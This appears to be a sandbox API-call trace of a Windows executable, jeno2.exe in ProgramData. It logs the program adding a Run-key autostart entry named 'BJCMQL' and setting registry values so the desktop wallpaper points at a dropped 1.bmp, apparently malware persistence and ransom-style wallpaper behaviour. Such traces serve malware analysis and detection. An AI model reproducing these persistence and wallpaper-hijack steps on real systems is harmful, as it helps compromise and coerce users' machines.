[0176.686] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.686] GetLastError () returned 0x0 [0176.687] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.687] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr="S-1-5-20\\Control Panel\\Desktop") returned 31 [0176.687] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.687] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.687] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.687] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0176.687] RegSetValueExA (in: hKey=0x720, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.687] GetLastError () returned 0x0 [0176.687] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0176.688] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpWideCharStr=0x143353c, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0176.688] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.688] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.688] RegFlushKey (hKey=0x720) returned 0x0 [0176.702] GetLastError () returned 0x0 [0176.702] RegCloseKey (hKey=0x720) returned 0x0 [0176.702] GetLastError () returned 0x0 [0176.702] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.702] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.702] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.702] GetLastError () returned 0x0 [0176.703] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.703] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="S-1-5-20\\Control Panel\\Desktop") returned 31 [0176.703] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.703] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.703] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.703] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f5634, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0176.703] RegSetValueExA (in: hKey=0x720, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.703] GetLastError () returned 0x0 [0176.704] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0176.704] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=19, lpWideCharStr=0x14b48fc, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0176.704] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.704] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.704] RegFlushKey (hKey=0x720) returned 0x0 [0176.717] GetLastError () returned 0x0 [0176.717] RegCloseKey (hKey=0x720) returned 0x0 [0176.717] GetLastError () returned 0x0 [0176.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x1452454, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.717] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.718] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.718] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.718] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.718] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.718] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.718] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0176.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b48fc, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0176.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0176.719] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0176.719] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.719] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0176.719] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0176.719] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0176.719] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0176.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0176.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0176.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f5634, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0176.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0176.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5b84, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0176.720] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0176.720] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0176.720] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0176.720] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0176.720] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0176.720] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0176.720] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0176.720] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0176.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=55, lpMultiByteStr=0x14b4fbc, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 55 [0176.720] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.720] GetLastError () returned 0x0 [0176.720] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0176.720] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0176.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=55, lpWideCharStr=0x1446d5c, cchWideChar=109 | out: lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 55 [0176.721] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.721] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0176.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0176.721] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.721] SysStringLen (param_1="BJCMQL") returned 0x6 [0176.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0176.721] RegSetValueExA (in: hKey=0x720, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x0 [0176.723] GetLastError () returned 0x0 [0176.723] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.723] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpWideCharStr=0x14f5e2c, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0176.723] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.723] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0176.723] RegFlushKey (hKey=0x720) returned 0x0 [0176.737] GetLastError () returned 0x0 [0176.737] RegCloseKey (hKey=0x720) returned 0x0 [0176.737] GetLastError () returned 0x0 [0176.738] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.738] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.738] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.738] GetLastError () returned 0x0 [0176.739] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.739] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpWideCharStr=0x144265c, cchWideChar=133 | out: lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.739] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.739] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.739] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.739] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.739] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x14) returned 0x6 [0176.739] GetLastError () returned 0x0 [0176.739] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.739] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpWideCharStr=0x14f5e2c, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.739] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.740] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4fbc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.740] RegFlushKey (hKey=0x0) returned 0x6 [0176.740] GetLastError () returned 0x0 [0176.740] RegCloseKey (hKey=0x0) returned 0x6 [0176.740] GetLastError () returned 0x0 [0176.740] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.740] SysStringLen (param_1="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x1446d5c, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.740] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.740] GetLastError () returned 0x0 [0176.740] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.741] SysStringByteLen (bstr="ⵓⴱⴵ〲卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=67, lpWideCharStr=0x144265c, cchWideChar=133 | out: lpWideCharStr="S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.741] SysStringLen (param_1="0") returned 0x1 [0176.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.741] SysStringLen (param_1="0") returned 0x1 [0176.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f5634, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.741] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.741] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.741] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f5634, cbData=0x1) returned 0x6 [0176.741] GetLastError () returned 0x0 [0176.741] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 